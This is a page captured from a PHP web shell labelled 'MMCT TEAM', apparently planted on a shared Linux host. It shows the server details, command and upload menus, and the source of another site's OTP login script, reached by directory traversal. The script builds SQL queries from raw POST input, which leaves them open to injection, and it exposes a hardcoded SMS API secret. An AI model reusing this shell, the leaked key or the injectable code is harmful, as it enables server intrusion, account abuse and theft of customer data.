MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.190.253.56
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/fastelevator.in/../deergham.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/fastelevator.in/../deergham.com/verify-otp.php
<?php
include_once('admin/config.php');
if (isset($_POST['send_otp'])) {
    // Check if the mobile number exists in the database and m_status is 'Active'
    $mobile = $_POST['mobile'];
    $check_query = "SELECT * FROM tbl_customer WHERE cust_phone='$mobile'";
    $result = mysqli_query($db, $check_query);
    if (mysqli_num_rows($result) > 0) {
        $row = mysqli_fetch_assoc($result);
        if ($row['cust_status'] == 'Active') {
            // Generate a 6-digit OTP
            $otp = rand(100000, 999999);

            // Store the OTP and mobile number in a session for verification
            session_start();
            $_SESSION['otp'] = $otp;
            $_SESSION['mobile'] = $mobile;
            date_default_timezone_set('Asia/Kolkata');
            $otp_generated_at = date('Y-m-d H:i:s');

            // Store the OTP and timestamp in the database
            $update_query = "UPDATE tbl_customer SET otp='$otp', otp_valid='$otp_generated_at' WHERE cust_phone='$mobile'";
            mysqli_query($db, $update_query);

            // Your SMS API details
            $api_key = "R6rdkXK6XUaKOKoPQFVf";
            $to = $_POST['mobile']; 
            $sender_id = "DERGHM";
            $message = "Dear Customer, Your login OTP for the registration is $otp please verify your OTP. Thank Team DEERGHAM";
            // $p_entity_id = "1201162643300643505"; //not found 
            $temp_id = "1707171109953974889";

            // Send the OTP via SMS
            $apiURL = "https://sms.staticking.com/index.php/smsapi/httpapi/?" .
            "secret=" . urlencode("R6rdkXK6XUaKOKoPQFVf") .
            "&sender=" . urlencode("DERGHM") .
            "&tempid=". urlencode("1707171109953974889") .
            "&receiver=" . urlencode("$to") .
            "&route=". urlencode("TA") .
            "&msgtype=" . urlencode("1") .
            "&sms=" . urlencode($message);

            // Initialize cURL session
            $ch = curl_init();
            
            // Set cURL options
            curl_setopt($ch, CURLOPT_URL, $apiURL);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            
            // Execute the cURL session and get the response
            $response = curl_exec($ch);
            
            // Check for cURL errors
            if (curl_errno($ch)) {
             echo "cURL Error: " . curl_error($ch);
            } else {
                // Check if the response contains "Message Sent Successfully"
                if (strpos($response, "Message Sent Successfully") !== false || strpos($response, '{"smsid":') !== false) {
                    echo "<script>
                            window.location.href = 'verify_otp_next.php';
                          </script>";
                } else {
                    // Handle other response cases
                    echo "Failed to send OTP. Response: " . $response;
                }
            }
            
            // Close the cURL session
            curl_close($ch);
        } else { 
            // Redirect user to support page as mobile number exists but m_status is not Active
            echo "<script>
                    alert('You are blocked by Deergham. Please contact admin.');
                    window.location.href = 'contact.html';
                  </script>";
        }
    } else {
        // Redirect user to registration page as mobile number doesn't exist
        echo "<script>
                alert('You are not registered in Deergham. Please register first.');
                window.location.href = 'register.html';
              </script>";
    }
}
?>

MMCT - 2023